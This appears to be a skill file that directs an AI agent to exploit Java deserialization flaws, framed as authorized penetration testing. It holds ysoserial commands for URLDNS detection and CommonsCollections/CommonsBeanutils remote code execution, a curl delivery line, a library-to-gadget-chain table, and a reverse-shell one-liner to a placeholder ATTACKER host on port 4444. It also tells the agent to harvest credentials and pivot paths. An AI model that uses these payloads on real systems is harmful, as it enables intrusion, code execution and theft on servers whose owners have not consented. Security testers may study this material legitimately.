/deserialization-java

name: deserialization-java
description: >
  Exploit Java deserialization vulnerabilities during authorized penetration
  testing.
keywords:
  - java deserialization
  - ysoserial
  - gadget chain
  - CommonsCollections
  - JNDI injection
  - log4shell
  - log4j exploit
  - JSF ViewState
  - T3 protocol
  - WebLogic deserialize
  - JBoss deserialize
  - RMI exploit
  - ObjectInputStream
  - readObject exploit
tools:
  - ysoserial
  - marshalsec
  - burpsuite
opsec: medium

Java Deserialization

You are helping a penetration tester exploit Java deserialization vulnerabilities. The target application deserializes untrusted Java objects, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[deserialization-java] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A Java deserialization endpoint (HTTP parameter, cookie, RMI, JMX, T3, JMS)
• Tools: `ysoserial` (`java -jar ysoserial.jar`), optionally `marshalsec`,

`ysoserial-modified` (for complex shell commands)

• DNS callback receiver (Burp Collaborator, interactsh) for blind detection
• Proxy (Burp Suite) for intercepting and modifying serialized data

Step 1: Assess

If not already provided, determine:

1. **Serialization format** — look for these signatures:

| Signature | Format | Where Found | |-----------|--------|-------------| | `AC ED 00 05` (hex) | Java serialized | Raw binary in request/response | | `rO0AB` (base64) | Java serialized (b64) | Parameters, cookies, headers | | `H4sIA` (base64) | Gzip + Java serialized | Compressed serialized data | | `application/x-java-serialized-object` | Content-Type | HTTP headers |

2. **Entry point type**:

• HTTP parameters / cookies / headers (base64-encoded)
• JSF ViewState (`javax.faces.ViewState` parameter, `.faces`/`.xhtml` URLs)
• RMI (port 1099)
• T3 protocol (WebLogic, port 7001)
• JMX (management port)
• JMS message brokers (ActiveMQ, RabbitMQ)

3. **Server technology** — check response headers, error pages, default files for WebLogic, JBoss/WildFly, Tomcat, Jenkins, Spring Boot

Skip if context was already provided.

Step 2: Blind Detection (URLDNS)

Always start with blind detection before attempting RCE. The URLDNS gadget uses only JDK classes (no library dependencies) and triggers a DNS lookup:

# Generate URLDNS payload — triggers DNS callback, no RCE
java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" > payload.bin

# Base64 encode for HTTP parameters
java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" | base64 -w0

# Send via curl (base64 in parameter)
curl -X POST https://TARGET/endpoint \
  -d "data=$(java -jar ysoserial.jar URLDNS 'http://ID.oastify.com' | base64 -w0)"

**If DNS callback received**: deserialization confirmed. Proceed to Step 3.

**If no callback**: try alternative entry points, check if data is gzip-compressed or differently encoded, or the endpoint may not deserialize.

Step 3: Identify Gadget Libraries

Determine which libraries are on the target's classpath. Use GadgetProbe (Burp extension) for black-box detection, or enumerate from error messages, known framework defaults, or exposed dependency files.

**Common library → gadget chain mapping:**

| Library | Version | Gadget Chains | |---------|---------|---------------| | commons-collections 3.x | 3.1-3.2.1 | CommonsCollections1,3,5,6,7 | | commons-collections 4.x | 4.0 | CommonsCollections2,4 | | commons-beanutils | 1.9.x | CommonsBeanutils1 | | spring-core + spring-beans | 4.x | Spring1, Spring2 | | groovy | 2.3.x | Groovy1 | | hibernate | various | Hibernate1, Hibernate2 | | rome | 1.0 | ROME | | c3p0 | 0.9.5.x | C3P0 | | bsh (BeanShell) | 2.0b5 | BeanShell1 | | JDK only (pre-8u20) | <8u20 | Jdk7u21 |

**Framework defaults:**

• **Spring Boot**: commons-collections, spring-core, jackson
• **WebLogic**: commons-collections (older), coherence
• **JBoss**: commons-collections, jboss-interceptors
• **Jenkins**: commons-collections, groovy

If unsure, try CommonsCollections5 first (works on JDK 8u76+), then CommonsBeanutils1, then CommonsCollections4.

Step 4: Exploit with ysoserial

Basic RCE

# CommonsCollections5 (reliable, JDK 8u76+ compatible)
java -jar ysoserial.jar CommonsCollections5 "COMMAND" | base64 -w0

# CommonsCollections4 (commons-collections4)
java -jar ysoserial.jar CommonsCollections4 "COMMAND" | base64 -w0

# CommonsBeanutils1 (when CommonsCollections chains fail)
java -jar ysoserial.jar CommonsBeanutils1 "COMMAND" | base64 -w0

Runtime.exec() Limitations

`Runtime.exec()` cannot handle shell operators (`|`, `>`, `&`, `;`). Workarounds:

# Method 1: bash -c with brace encoding (avoids spaces in args)
java -jar ysoserial.jar CommonsCollections5 \
  'bash -c {echo,BASE64_ENCODED_CMD}|{base64,-d}|{bash,-i}'

# Generate the base64 payload:
echo -n 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' | base64
# Then substitute into the brace-encoded command

# Method 2: Use ysoserial-modified